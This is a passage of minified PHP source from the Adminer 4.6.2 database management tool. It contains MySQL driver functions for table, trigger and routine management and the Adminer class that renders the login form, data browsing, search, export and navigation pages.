alter_table($R,$D,$q,$bd,$vb,$uc,$pb,$Ma,$Nf){$c=array();foreach($q
as$p)$c[]=($p[1]?($R!=""?($p[0]!=""?"CHANGE ".idf_escape($p[0]):"ADD"):" ")." ".implode($p[1]).($R!=""?$p[2]:""):"DROP ".idf_escape($p[0]));$c=array_merge($c,$bd);$xh=($vb!==null?" COMMENT=".q($vb):"").($uc?" ENGINE=".q($uc):"").($pb?" COLLATE ".q($pb):"").($Ma!=""?" AUTO_INCREMENT=$Ma":"");if($R=="")return
queries("CREATE TABLE ".table($D)." (\n".implode(",\n",$c)."\n)$xh$Nf");if($R!=$D)$c[]="RENAME TO ".table($D);if($xh)$c[]=ltrim($xh);return($c||$Nf?queries("ALTER TABLE ".table($R)."\n".implode(",\n",$c).$Nf):true);}function
alter_indexes($R,$c){foreach($c
as$z=>$X)$c[$z]=($X[2]=="DROP"?"\nDROP INDEX ".idf_escape($X[1]):"\nADD $X[0] ".($X[0]=="PRIMARY"?"KEY ":"").($X[1]!=""?idf_escape($X[1])." ":"")."(".implode(", ",$X[2]).")");return
queries("ALTER TABLE ".table($R).implode(",",$c));}function
truncate_tables($T){return
apply_queries("TRUNCATE TABLE",$T);}function
drop_views($Si){return
queries("DROP VIEW ".implode(", ",array_map('table',$Si)));}function
drop_tables($T){return
queries("DROP TABLE ".implode(", ",array_map('table',$T)));}function
move_tables($T,$Si,$Ph){$Dg=array();foreach(array_merge($T,$Si)as$R)$Dg[]=table($R)." TO ".idf_escape($Ph).".".table($R);return
queries("RENAME TABLE ".implode(", ",$Dg));}function
copy_tables($T,$Si,$Ph){queries("SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO'");foreach($T
as$R){$D=($Ph==DB?table("copy_$R"):idf_escape($Ph).".".table($R));if(!queries("\nDROP TABLE IF EXISTS $D")||!queries("CREATE TABLE $D LIKE ".table($R))||!queries("INSERT INTO $D SELECT * FROM ".table($R)))return
false;}foreach($Si
as$R){$D=($Ph==DB?table("copy_$R"):idf_escape($Ph).".".table($R));$Ri=view($R);if(!queries("DROP VIEW IF EXISTS $D")||!queries("CREATE VIEW $D AS $Ri[select]"))return
false;}return
true;}function
trigger($D){if($D=="")return
array();$L=get_rows("SHOW TRIGGERS WHERE `Trigger` = ".q($D));return
reset($L);}function
triggers($R){$J=array();foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($R,"%_\\")))as$K)$J[$K["Trigger"]]=array($K["Timing"],$K["Event"]);return$J;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("FOR EACH ROW"),);}function
routine($D,$U){global$g,$wc,$Md,$vi;$Da=array("bool","boolean","integer","double precision","real","dec","numeric","fixed","national char","national varchar");$oh="(?:\\s|/\\*[\s\S]*?\\*/|(?:#|-- )[^\n]*\n?|--\r?\n)";$ui="((".implode("|",array_merge(array_keys($vi),$Da)).")\\b(?:\\s*\\(((?:[^'\")]|$wc)++)\\))?\\s*(zerofill\\s*)?(unsigned(?:\\s+zerofill)?)?)(?:\\s*(?:CHARSET|CHARACTER\\s+SET)\\s*['\"]?([^'\"\\s,]+)['\"]?)?";$Tf="$oh*(".($U=="FUNCTION"?"":$Md).")?\\s*(?:`((?:[^`]|``)*)`\\s*|\\b(\\S+)\\s+)$ui";$i=$g->result("SHOW CREATE $U ".idf_escape($D),2);preg_match("~\\(((?:$Tf\\s*,?)*)\\)\\s*".($U=="FUNCTION"?"RETURNS\\s+$ui\\s+":"")."(.*)~is",$i,$C);$q=array();preg_match_all("~$Tf\\s*,?~is",$C[1],$ze,PREG_SET_ORDER);foreach($ze
as$Gf){$D=str_replace("``","`",$Gf[2]).$Gf[3];$q[]=array("field"=>$D,"type"=>strtolower($Gf[5]),"length"=>preg_replace_callback("~$wc~s",'normalize_enum',$Gf[6]),"unsigned"=>strtolower(preg_replace('~\\s+~',' ',trim("$Gf[8] $Gf[7]"))),"null"=>1,"full_type"=>$Gf[4],"inout"=>strtoupper($Gf[1]),"collation"=>strtolower($Gf[9]),);}if($U!="FUNCTION")return
array("fields"=>$q,"definition"=>$C[11]);return
array("fields"=>$q,"returns"=>array("type"=>$C[12],"length"=>$C[13],"unsigned"=>$C[15],"collation"=>$C[16]),"definition"=>$C[17],"language"=>"SQL",);}function
routines(){return
get_rows("SELECT ROUTINE_NAME AS SPECIFIC_NAME, ROUTINE_NAME, ROUTINE_TYPE, DTD_IDENTIFIER FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA = ".q(DB));}function
routine_languages(){return
array();}function
routine_id($D,$K){return
idf_escape($D);}function
last_id(){global$g;return$g->result("SELECT LAST_INSERT_ID()");}function
explain($g,$H){return$g->query("EXPLAIN ".(min_version(5.1)?"PARTITIONS ":"").$H);}function
found_rows($S,$Z){return($Z||$S["Engine"]!="InnoDB"?null:$S["Rows"]);}function
types(){return
array();}function
schemas(){return
array();}function
get_schema(){return"";}function
set_schema($Tg){return
true;}function
create_sql($R,$Ma,$Ah){global$g;$J=$g->result("SHOW CREATE TABLE ".table($R),1);if(!$Ma)$J=preg_replace('~ AUTO_INCREMENT=\\d+~','',$J);return$J;}function
truncate_sql($R){return"TRUNCATE ".table($R);}function
use_sql($k){return"USE ".idf_escape($k);}function
trigger_sql($R){$J="";foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($R,"%_\\")),null,"-- ")as$K)$J.="\nCREATE TRIGGER ".idf_escape($K["Trigger"])." $K[Timing] $K[Event] ON ".table($K["Table"])." FOR EACH ROW\n$K[Statement];;\n";return$J;}function
show_variables(){return
get_key_vals("SHOW VARIABLES");}function
process_list(){return
get_rows("SHOW FULL PROCESSLIST");}function
show_status(){return
get_key_vals("SHOW STATUS");}function
convert_field($p){if(preg_match("~binary~",$p["type"]))return"HEX(".idf_escape($p["field"]).")";if($p["type"]=="bit")return"BIN(".idf_escape($p["field"])." + 0)";if(preg_match("~geometry|point|linestring|polygon~",$p["type"]))return(min_version(8)?"ST_":"")."AsWKT(".idf_escape($p["field"]).")";}function
unconvert_field($p,$J){if(preg_match("~binary~",$p["type"]))$J="UNHEX($J)";if($p["type"]=="bit")$J="CONV($J, 2, 10) + 0";if(preg_match("~geometry|point|linestring|polygon~",$p["type"]))$J=(min_version(8)?"ST_":"")."GeomFromText($J)";return$J;}function
support($Pc){return!preg_match("~scheme|sequence|type|view_trigger|materializedview".(min_version(5.1)?"":"|event|partitioning".(min_version(5)?"":"|routine|trigger|view"))."~",$Pc);}function
kill_process($X){return
queries("KILL ".number($X));}function
connection_id(){return"SELECT CONNECTION_ID()";}function
max_connections(){global$g;return$g->result("SELECT @@max_connections");}$y="sql";$vi=array();$_h=array();foreach(array(lang(25)=>array("tinyint"=>3,"smallint"=>5,"mediumint"=>8,"int"=>10,"bigint"=>20,"decimal"=>66,"float"=>12,"double"=>21),lang(26)=>array("date"=>10,"datetime"=>19,"timestamp"=>19,"time"=>10,"year"=>4),lang(23)=>array("char"=>255,"varchar"=>65535,"tinytext"=>255,"text"=>65535,"mediumtext"=>16777215,"longtext"=>4294967295),lang(30)=>array("enum"=>65535,"set"=>64),lang(27)=>array("bit"=>20,"binary"=>255,"varbinary"=>65535,"tinyblob"=>255,"blob"=>65535,"mediumblob"=>16777215,"longblob"=>4294967295),lang(29)=>array("geometry"=>0,"point"=>0,"linestring"=>0,"polygon"=>0,"multipoint"=>0,"multilinestring"=>0,"multipolygon"=>0,"geometrycollection"=>0),)as$z=>$X){$vi+=$X;$_h[$z]=array_keys($X);}$Bi=array("unsigned","zerofill","unsigned zerofill");$of=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","REGEXP","IN","FIND_IN_SET","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL");$jd=array("char_length","date","from_unixtime","lower","round","floor","ceil","sec_to_time","time_to_sec","upper");$pd=array("avg","count","count distinct","group_concat","max","min","sum");$mc=array(array("char"=>"md5/sha1/password/encrypt/uuid","binary"=>"md5/sha1","date|time"=>"now",),array(number_type()=>"+/-","date"=>"+ interval/- interval","time"=>"addtime/subtime","char|text"=>"concat",));}define("SERVER",$_GET[DRIVER]);define("DB",$_GET["db"]);define("ME",preg_replace('~^[^?]*/([^?]*).*~','\\1',$_SERVER["REQUEST_URI"]).'?'.(sid()?SID.'&':'').(SERVER!==null?DRIVER."=".urlencode(SERVER).'&':'').(isset($_GET["username"])?"username=".urlencode($_GET["username"]).'&':'').(DB!=""?'db='.urlencode(DB).'&'.(isset($_GET["ns"])?"ns=".urlencode($_GET["ns"])."&":""):''));$ia="4.6.2";class
Adminer{var$operators;function
name(){return"<a href='https://www.adminer.org/'".target_blank()." id='h1'>Adminer</a>";}function
credentials(){return
array(SERVER,$_GET["username"],get_password());}function
connectSsl(){}function
permanentLogin($i=false){return
password_file($i);}function
bruteForceKey(){return$_SERVER["REMOTE_ADDR"];}function
serverName($O){return
h($O);}function
database(){return
DB;}function
databases($ad=true){return
get_databases($ad);}function
schemas(){return
schemas();}function
queryTimeout(){return
5;}function
headers(){}function
csp(){return
csp();}function
head(){return
true;}function
css(){$J=array();$Uc="adminer.css";if(file_exists($Uc))$J[]=$Uc;return$J;}function
loginForm(){global$ec;echo'<table cellspacing="0">
<tr><th>',lang(31),'<td>',html_select("auth[driver]",$ec,DRIVER)."\n",'<tr><th>',lang(32),'<td><input name="auth[server]" value="',h(SERVER),'" title="hostname[:port]" placeholder="localhost" autocapitalize="off">
<tr><th>',lang(33),'<td><input name="auth[username]" id="username" value="',h($_GET["username"]),'" autocapitalize="off">
<tr><th>',lang(34),'<td><input type="password" name="auth[password]">
<tr><th>',lang(35),'<td><input name="auth[db]" value="',h($_GET["db"]),'" autocapitalize="off">
</table>
',script("focus(qs('#username'));"),"<p><input type='submit' value='".lang(36)."'>\n",checkbox("auth[permanent]",1,$_COOKIE["adminer_permanent"],lang(37))."\n";}function
login($te,$G){global$y;if($y=="sqlite")return
lang(38,target_blank(),'<code>login()</code>');return
true;}function
tableName($Gh){return
h($Gh["Name"]);}function
fieldName($p,$tf=0){return'<span title="'.h($p["full_type"]).'">'.h($p["field"]).'</span>';}function
selectLinks($Gh,$P=""){global$y,$n;echo'<p class="links">';$se=array("select"=>lang(39));if(support("table")||support("indexes"))$se["table"]=lang(40);if(support("table")){if(is_view($Gh))$se["view"]=lang(41);else$se["create"]=lang(42);}if($P!==null)$se["edit"]=lang(43);$D=$Gh["Name"];foreach($se
as$z=>$X)echo" <a href='".h(ME)."$z=".urlencode($D).($z=="edit"?$P:"")."'".bold(isset($_GET[$z])).">$X</a>";echo
doc_link(array($y=>$n->tableHelp($D)),"?"),"\n";}function
foreignKeys($R){return
foreign_keys($R);}function
backwardKeys($R,$Fh){return
array();}function
backwardKeysPrint($Pa,$K){}function
selectQuery($H,$vh,$Nc=false){global$y,$n;$J="</p>\n";if(!$Nc&&($Vi=$n->warnings())){$u="warnings";$J=", <a href='#$u'>".lang(44)."</a>".script("qsl('a').onclick = partial(toggle, '$u');","")."$J<div id='$u' class='hidden'>\n$Vi</div>\n";}return"<p><code class='jush-$y'>".h(str_replace("\n"," ",$H))."</code> <span class='time'>(".format_time($vh).")</span>".(support("sql")?" <a href='".h(ME)."sql=".urlencode($H)."'>".lang(10)."</a>":"").$J;}function
sqlCommandQuery($H){return
shorten_utf8(trim($H),1000);}function
rowDescription($R){return"";}function
rowDescriptions($L,$cd){return$L;}function
selectLink($X,$p){}function
selectVal($X,$A,$p,$Af){$J=($X===null?"<i>NULL</i>":(preg_match("~char|binary|boolean~",$p["type"])&&!preg_match("~var~",$p["type"])?"<code>$X</code>":$X));if(preg_match('~blob|bytea|raw|file~',$p["type"])&&!is_utf8($X))$J="<i>".lang(45,strlen($Af))."</i>";if(preg_match('~json~',$p["type"]))$J="<code class='jush-js'>$J</code>";return($A?"<a href='".h($A)."'".(is_url($A)?target_blank():"").">$J</a>":$J);}function
editVal($X,$p){return$X;}function
tableStructurePrint($q){echo"<table cellspacing='0' class='nowrap'>\n","<thead><tr><th>".lang(46)."<td>".lang(47).(support("comment")?"<td>".lang(48):"")."</thead>\n";foreach($q
as$p){echo"<tr".odd()."><th>".h($p["field"]),"<td><span title='".h($p["collation"])."'>".h($p["full_type"])."</span>",($p["null"]?" <i>NULL</i>":""),($p["auto_increment"]?" <i>".lang(49)."</i>":""),(isset($p["default"])?" <span title='".lang(50)."'>[<b>".h($p["default"])."</b>]</span>":""),(support("comment")?"<td>".nbsp($p["comment"]):""),"\n";}echo"</table>\n";}function
tableIndexesPrint($x){echo"<table cellspacing='0'>\n";foreach($x
as$D=>$w){ksort($w["columns"]);$fg=array();foreach($w["columns"]as$z=>$X)$fg[]="<i>".h($X)."</i>".($w["lengths"][$z]?"(".$w["lengths"][$z].")":"").($w["descs"][$z]?" DESC":"");echo"<tr title='".h($D)."'><th>$w[type]<td>".implode(", ",$fg)."\n";}echo"</table>\n";}function
selectColumnsPrint($M,$e){global$jd,$pd;print_fieldset("select",lang(51),$M);$t=0;$M[""]=array();foreach($M
as$z=>$X){$X=$_GET["columns"][$z];$d=select_input(" name='columns[$t][col]'",$e,$X["col"],($z!==""?"selectFieldChange":"selectAddRow"));echo"<div>".($jd||$pd?"<select name='columns[$t][fun]'>".optionlist(array(-1=>"")+array_filter(array(lang(52)=>$jd,lang(53)=>$pd)),$X["fun"])."</select>".on_help("getTarget(event).value && getTarget(event).value.replace(/ |\$/, '(') + ')'",1).script("qsl('select').onchange = function () { helpClose();".($z!==""?"":" qsl('select, input', this.parentNode).onchange();")." };","")."($d)":$d)."</div>\n";$t++;}echo"</div></fieldset>\n";}function
selectSearchPrint($Z,$e,$x){print_fieldset("search",lang(54),$Z);foreach($x
as$t=>$w){if($w["type"]=="FULLTEXT"){echo"<div>(<i>".implode("</i>, <i>",array_map('h',$w["columns"]))."</i>) AGAINST"," <input type='search' name='fulltext[$t]' value='".h($_GET["fulltext"][$t])."'>",script("qsl('input').oninput = selectFieldChange;",""),checkbox("boolean[$t]",1,isset($_GET["boolean"][$t]),"BOOL"),"</div>\n";}}$bb="this.parentNode.firstChild.onchange();";foreach(array_merge((array)$_GET["where"],array(array()))as$t=>$X){if(!$X||("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators))){echo"<div>".select_input(" name='where[$t][col]'",$e,$X["col"],($X?"selectFieldChange":"selectAddRow"),"(".lang(55).")"),html_select("where[$t][op]",$this->operators,$X["op"],$bb),"<input type='search' name='where[$t][val]' value='".h($X["val"])."'>",script("mixin(qsl('input'), {oninput: function () { $bb }, onkeydown: selectSearchKeydown, onsearch: selectSearchSearch});",""),"</div>\n";}}echo"</div></fieldset>\n";}function
selectOrderPrint($tf,$e,$x){print_fieldset("sort",lang(56),$tf);$t=0;foreach((array)$_GET["order"]as$z=>$X){if($X!=""){echo"<div>".select_input(" name='order[$t]'",$e,$X,"selectFieldChange"),checkbox("desc[$t]",1,isset($_GET["desc"][$z]),lang(57))."</div>\n";$t++;}}echo"<div>".select_input(" name='order[$t]'",$e,"","selectAddRow"),checkbox("desc[$t]",1,false,lang(57))."</div>\n","</div></fieldset>\n";}function
selectLimitPrint($_){echo"<fieldset><legend>".lang(58)."</legend><div>";echo"<input type='number' name='limit' class='size' value='".h($_)."'>",script("qsl('input').oninput = selectFieldChange;",""),"</div></fieldset>\n";}function
selectLengthPrint($Vh){if($Vh!==null){echo"<fieldset><legend>".lang(59)."</legend><div>","<input type='number' name='text_length' class='size' value='".h($Vh)."'>","</div></fieldset>\n";}}function
selectActionPrint($x){echo"<fieldset><legend>".lang(60)."</legend><div>","<input type='submit' value='".lang(51)."'>"," <span id='noindex' title='".lang(61)."'></span>","<script".nonce().">\n","var indexColumns = ";$e=array();foreach($x
as$w){$Kb=reset($w["columns"]);if($w["type"]!="FULLTEXT"&&$Kb)$e[$Kb]=1;}$e[""]=1;foreach($e
as$z=>$X)json_row($z);echo";\n","selectFieldChange.call(qs('#form')['select']);\n","</script>\n","</div></fieldset>\n";}function
selectCommandPrint(){return!information_schema(DB);}function
selectImportPrint(){return!information_schema(DB);}function
selectEmailPrint($rc,$e){}function
selectColumnsProcess($e,$x){global$jd,$pd;$M=array();$md=array();foreach((array)$_GET["columns"]as$z=>$X){if($X["fun"]=="count"||($X["col"]!=""&&(!$X["fun"]||in_array($X["fun"],$jd)||in_array($X["fun"],$pd)))){$M[$z]=apply_sql_function($X["fun"],($X["col"]!=""?idf_escape($X["col"]):"*"));if(!in_array($X["fun"],$pd))$md[]=$M[$z];}}return
array($M,$md);}function
selectSearchProcess($q,$x){global$g,$n;$J=array();foreach($x
as$t=>$w){if($w["type"]=="FULLTEXT"&&$_GET["fulltext"][$t]!="")$J[]="MATCH (".implode(", ",array_map('idf_escape',$w["columns"])).") AGAINST (".q($_GET["fulltext"][$t]).(isset($_GET["boolean"][$t])?" IN BOOLEAN MODE":"").")";}foreach((array)$_GET["where"]as$z=>$X){if("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators)){$bg="";$xb=" $X[op]";if(preg_match('~IN$~',$X["op"])){$Cd=process_length($X["val"]);$xb.=" ".($Cd!=""?$Cd:"(NULL)");}elseif($X["op"]=="SQL")$xb=" $X[val]";elseif($X["op"]=="LIKE %%")$xb=" LIKE ".$this->processInput($q[$X["col"]],"%$X[val]%");elseif($X["op"]=="ILIKE %%")$xb=" ILIKE ".$this->processInput($q[$X["col"]],"%$X[val]%");elseif($X["op"]=="FIND_IN_SET"){$bg="$X[op](".q($X["val"]).", ";$xb=")";}elseif(!preg_match('~NULL$~',$X["op"]))$xb.=" ".$this->processInput($q[$X["col"]],$X["val"]);if($X["col"]!="")$J[]=$bg.$n->convertSearch(idf_escape($X["col"]),$X,$q[$X["col"]]).$xb;else{$sb=array();foreach($q
as$D=>$p){if((is_numeric($X["val"])||!preg_match('~'.number_type().'|bit~',$p["type"]))&&(!preg_match("~[\x80-\xFF]~",$X["val"])||preg_match('~char|text|enum|set~',$p["type"])))$sb[]=$bg.$n->convertSearch(idf_escape($D),$X,$p).$xb;}$J[]=($sb?"(".implode(" OR ",$sb).")":"1 = 0");}}}return$J;}function
selectOrderProcess($q,$x){$J=array();foreach((array)$_GET["order"]as$z=>$X){if($X!="")$J[]=(preg_match('~^((COUNT\\(DISTINCT |[A-Z0-9_]+\\()(`(?:[^`]|``)+`|"(?:[^"]|"")+")\\)|COUNT\\(\\*\\))$~',$X)?$X:idf_escape($X)).(isset($_GET["desc"][$z])?" DESC":"");}return$J;}function
selectLimitProcess(){return(isset($_GET["limit"])?$_GET["limit"]:"50");}function
selectLengthProcess(){return(isset($_GET["text_length"])?$_GET["text_length"]:"100");}function
selectEmailProcess($Z,$cd){return
false;}function
selectQueryBuild($M,$Z,$md,$tf,$_,$F){return"";}function
messageQuery($H,$Wh,$Nc=false){global$y,$n;restart_session();$vd=&get_session("queries");if(!$vd[$_GET["db"]])$vd[$_GET["db"]]=array();if(strlen($H)>1e6)$H=preg_replace('~[\x80-\xFF]+$~','',substr($H,0,1e6))."\n...";$vd[$_GET["db"]][]=array($H,time(),$Wh);$sh="sql-".count($vd[$_GET["db"]]);$J="<a href='#$sh' class='toggle'>".lang(62)."</a>\n";if(!$Nc&&($Vi=$n->warnings())){$u="warnings-".count($vd[$_GET["db"]]);$J="<a href='#$u' class='toggle'>".lang(44)."</a>, $J<div id='$u' class='hidden'>\n$Vi</div>\n";}return" <span class='time'>".@date("H:i:s")."</span>"." $J<div id='$sh' class='hidden'><pre><code class='jush-$y'>".shorten_utf8($H,1000)."</code></pre>".($Wh?" <span class='time'>($Wh)</span>":'').(support("sql")?'<p><a href="'.h(str_replace("db=".urlencode(DB),"db=".urlencode($_GET["db"]),ME).'sql=&history='.(count($vd[$_GET["db"]])-1)).'">'.lang(10).'</a>':'').'</div>';}function
editFunctions($p){global$mc;$J=($p["null"]?"NULL/":"");foreach($mc
as$z=>$jd){if(!$z||(!isset($_GET["call"])&&(isset($_GET["select"])||where($_GET)))){foreach($jd
as$Tf=>$X){if(!$Tf||preg_match("~$Tf~",$p["type"]))$J.="/$X";}if($z&&!preg_match('~set|blob|bytea|raw|file~',$p["type"]))$J.="/SQL";}}if($p["auto_increment"]&&!isset($_GET["select"])&&!where($_GET))$J=lang(49);return
explode("/",$J);}function
editInput($R,$p,$Ka,$Y){if($p["type"]=="enum")return(isset($_GET["select"])?"<label><input type='radio'$Ka value='-1' checked><i>".lang(8)."</i></label> ":"").($p["null"]?"<label><input type='radio'$Ka value=''".($Y!==null||isset($_GET["select"])?"":" checked")."><i>NULL</i></label> ":"").enum_input("radio",$Ka,$p,$Y,0);return"";}function
editHint($R,$p,$Y){return"";}function
processInput($p,$Y,$s=""){if($s=="SQL")return$Y;$D=$p["field"];$J=q($Y);if(preg_match('~^(now|getdate|uuid)$~',$s))$J="$s()";elseif(preg_match('~^current_(date|timestamp)$~',$s))$J=$s;elseif(preg_match('~^([+-]|\\|\\|)$~',$s))$J=idf_escape($D)." $s $J";elseif(preg_match('~^[+-] interval$~',$s))$J=idf_escape($D)." $s ".(preg_match("~^(\\d+|'[0-9.: -]') [A-Z_]+\$~i",$Y)?$Y:$J);elseif(preg_match('~^(addtime|subtime|concat)$~',$s))$J="$s(".idf_escape($D).", $J)";elseif(preg_match('~^(md5|sha1|password|encrypt)$~',$s))$J="$s($J)";return
unconvert_field($p,$J);}function
dumpOutput(){$J=array('text'=>lang(63),'file'=>lang(64));if(function_exists('gzencode'))$J['gz']='gzip';return$J;}function
dumpFormat(){return
array('sql'=>'SQL','csv'=>'CSV,','csv;'=>'CSV;','tsv'=>'TSV');}function
dumpDatabase($m){}function
dumpTable($R,$Ah,$Vd=0){if($_POST["format"]!="sql"){echo"\xef\xbb\xbf";if($Ah)dump_csv(array_keys(fields($R)));}else{if($Vd==2){$q=array();foreach(fields($R)as$D=>$p)$q[]=idf_escape($D)." $p[full_type]";$i="CREATE TABLE ".table($R)." (".implode(", ",$q).")";}else$i=create_sql($R,$_POST["auto_increment"],$Ah);set_utf8mb4($i);if($Ah&&$i){if($Ah=="DROP+CREATE"||$Vd==1)echo"DROP ".($Vd==2?"VIEW":"TABLE")." IF EXISTS ".table($R).";\n";if($Vd==1)$i=remove_definer($i);echo"$i;\n\n";}}}function
dumpData($R,$Ah,$H){global$g,$y;$Ae=($y=="sqlite"?0:1048576);if($Ah){if($_POST["format"]=="sql"){if($Ah=="TRUNCATE+INSERT")echo
truncate_sql($R).";\n";$q=fields($R);}$I=$g->query($H,1);if($I){$Od="";$Ya="";$ce=array();$Ch="";$Qc=($R!=''?'fetch_assoc':'fetch_row');while($K=$I->$Qc()){if(!$ce){$Ni=array();foreach($K
as$X){$p=$I->fetch_field();$ce[]=$p->name;$z=idf_escape($p->name);$Ni[]="$z = VALUES($z)";}$Ch=($Ah=="INSERT+UPDATE"?"\nON DUPLICATE KEY UPDATE ".implode(", ",$Ni):"").";\n";}if($_POST["format"]!="sql"){if($Ah=="table"){dump_csv($ce);$Ah="INSERT";}dump_csv($K);}else{if(!$Od)$Od="INSERT INTO ".table($R)." (".implode(", ",array_map('idf_escape',$ce)).") VALUES";foreach($K
as$z=>$X){$p=$q[$z];$K[$z]=($X!==null?unconvert_field($p,preg_match(number_type(),$p["type"])&&$X!=''?$X:q($X)):"NULL");}$Rg=($Ae?"\n":" ")."(".implode(",\t",$K).")";if(!$Ya)$Ya=$Od.$Rg;elseif(strlen($Ya)+4+strlen($Rg)+strlen($Ch)<$Ae)$Ya.=",$Rg";else{echo$Ya.$Ch;$Ya=$Od.$Rg;}}}if($Ya)echo$Ya.$Ch;}elseif($_POST["format"]=="sql")echo"-- ".str_replace("\n"," ",$g->error)."\n";}}function
dumpFilename($_d){return
friendly_url($_d!=""?$_d:(SERVER!=""?SERVER:"localhost"));}function
dumpHeaders($_d,$Pe=false){$Df=$_POST["output"];$Ic=(preg_match('~sql~',$_POST["format"])?"sql":($Pe?"tar":"csv"));header("Content-Type: ".($Df=="gz"?"application/x-gzip":($Ic=="tar"?"application/x-tar":($Ic=="sql"||$Df!="file"?"text/plain":"text/csv")."; charset=utf-8")));if($Df=="gz")ob_start('ob_gzencode',1e6);return$Ic;}function
importServerPath(){return"adminer.sql";}function
homepage(){echo'<p class="links">'.($_GET["ns"]==""&&support("database")?'<a href="'.h(ME).'database=">'.lang(65)."</a>\n":""),(support("scheme")?"<a href='".h(ME)."scheme='>".($_GET["ns"]!=""?lang(66):lang(67))."</a>\n":""),($_GET["ns"]!==""?'<a href="'.h(ME).'schema=">'.lang(68)."</a>\n":""),(support("privileges")?"<a href='".h(ME)."privileges='>".lang(69)."</a>\n":"");return
true;}function
navigation($Oe){global$ia,$y,$ec,$g;echo'<h1>
',$this->name(),' <span class="version">',$ia,'</span>
<a href="https://www.adminer.org/#download"',target_blank(),' id="version">',(version_compare($ia,$_COOKIE["adminer_version"])<0?h($_COOKIE["adminer_version"]):""),'</a>
</h1>
';if($Oe=="auth"){$Wc=true;foreach((array)$_SESSION["pwds"]as$Pi=>$fh){foreach($fh
as$O=>$Ki){foreach($Ki
as$V=>$G){if($G!==null){if($Wc){echo"<p id='logins'>".script("mixin(qs('#logins'), {onmouseover: menuOver, onmouseout: menuOut});");$Wc=false;}$Qb=$_SESSION["db"][$Pi][$O][$V];foreach(($Qb?array_keys($Qb):array(""))as$m)echo"<a href='".h(auth_url($Pi,$O,$V,$m))."'>($ec[$Pi]) ".h($V.($O!=""?"@".$this->serverName($O):"").($m!=""?" - $m":""))."</a><br>\n";}}}}}else{if($_GET["ns"]!==""&&!$Oe&&DB!=""){$g->select_db(DB);$T=table_status('',true);}echo
script_src(preg_replace("~\\?.*~","",ME)."?file=jush.js&version=4.6.2");if(support("sql")){echo'<script',nonce(),'>
';if($T){$se=array();foreach($T
as$R=>$U)$se[]=preg_quote($R,'/');echo"var jushLinks = { $y: [ '".js_escape(ME).(support("table")?"table=":"select=")."\$&', /\\b(".implode("|",$se).")\\b/g ] };\n";foreach(array("bac","bra","sqlite_quo","mssql_bra")as$X)echo"jushLinks.$X = jushLinks.$y;\n";}$eh=$g->server_info;echo'bodyLoad(\'',(is_object($g)?preg_replace('~^(\\d\\.?\\d).*~s','\\1',$eh):""),'\'',(preg_match('~MariaDB~',$eh)?", true":""),');
</script>
';}$this->databasesPrint($Oe);if(DB==""||!$Oe){echo"<p class='links'>".(support("sql")?"<a href='".h(ME)."sql='".bold(isset($_GET["sql"])&&!isset($_GET["import"])).">".lang(62)."</a>\n<a href='".h(ME)."import='".bold(isset($_GET["import"])).">".lang(70)."</a>\n":"")."";if(support("dump"))echo"<a href='".h(ME)."dump=".urlencode(isset($_GET["table"])?$_GET["table"]:$_GET["select"])."' id='dump'".bold(isset($_GET["dump"])).">".lang(71)."</a>\n";}if($_GET["ns"]!==""&&!$Oe&&DB!=""){echo'<a href="'.h(ME).'create="'.bold($_GET["create"]==="").">".lang(72)."</a>\n";if(!$T)echo"<p class='message'>".lang(9)."\n";else$this->tablesPrint($T);}}}function
databasesPrint($Oe){global$b,$g;$l=$this->databases();echo'<form action="">
<p id="dbs">
';hidden_fields_get();$Ob=script("mixin(qsl('select'), {onmousedown: dbMouseDown, onchange: dbChange});");echo"<span title='".lang(73)."'>".lang(74)."</span>: ".($l?"<select name='db'>".optionlist(array(""=>"")+$l,DB)."</select>$Ob":"<input name='db' value='".h(DB)."' autocapitalize='off'>\n"),"<input type='submit' value='".lang(20)."'".($l?" class='hidden'":"").">\n";if($Oe!="db"&&DB!=""&&$g->select_db(DB)){if(support("scheme")){echo"<br>".lang(75).": <select name='ns'>".optionlist(array(""=>"")+$b->schemas(),$_GET["ns"])."</select>$Ob";if($_GET["ns"]!="")set_schema($_GET["ns"]);}}echo(isset($_GET["sql"])?'<input type="hidden" name="sql" value="">':(isset($_GET["schema"])?'<input type="hidden" name="schema" value="">':(isset($_GET["dump"])?'<input type="hidden" name="dump" value="">':(isset($_GET["privileges"])?'<input type="hidden" name="privileges" value="">':"")))),"</p></form>\n";}function
tablesPrint($T){echo"<ul id='tables'>".script("mixin(qs('#tables'), {onmouseover: menuOver, onmouseout: menuOut});");foreach($T
as$R=>$xh){$D=$this->tableName($xh);if($D!=""){echo'<li><a href="'.h(ME).'select='.urlencode($R).'"'.bold($_GET["select"]==$R||$_GET["edit"]==$R,"select").">".lang(76)."</a> ",(support("table")||support("indexes")?'<a href="'.h(ME).'table='.urlencode($R).'"'.bold(in_array($R,array($_GET["table"],$_GET["create"],$_GET["indexes"],$_GET["foreign"],$_GET["trigger"])),(is_view($xh)?"view":"structure"))." title='".lang(40)."'>$D</a>":"<span>$D</span>")."\n";}}echo"</ul>\n";}}$b=(function_exists('adminer_object')?adminer_object():new
Adminer);if($b->operators===null)$b->operators=$of;function
page_header($Zh,$o="",$Xa=array(),$ai=""){global$ca,$ia,$b,$ec,$y;page_headers();if(is_ajax()&&$o){page_messages($o);exit;}$bi=$Zh.($ai!=""?": $ai":"");$ci=strip_tags($bi.(SERVER!=""&&SERVER!="localhost"?h(" - ".SERVER):"")." - ".$b->name());echo'<!DOCTYPE html>
<html lang="',$ca,'" dir="',lang(77),'">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="robots" content="noindex">
<title>',$ci,'</title>
<link rel="stylesheet" type="text/css" href="',h(preg_replace("~\\?.*~","",ME)."?file=default.css&version=4.6.2"),'">
',script_src(preg_replace("~\\?.*~","",ME)."?file=functions.js&version=4.6.2");if($b->head()){echo'<link rel="shortcut icon" type="image/x-icon" href="',h(preg_replace("~\\?.*~","",ME)."?file=favicon.ico&version=4.6.2"),'">
<link rel="apple-touch-icon" href="',h(preg_replace("~\\?.*~","",ME)."?file=favicon.ico&version=4.6.2"),'">
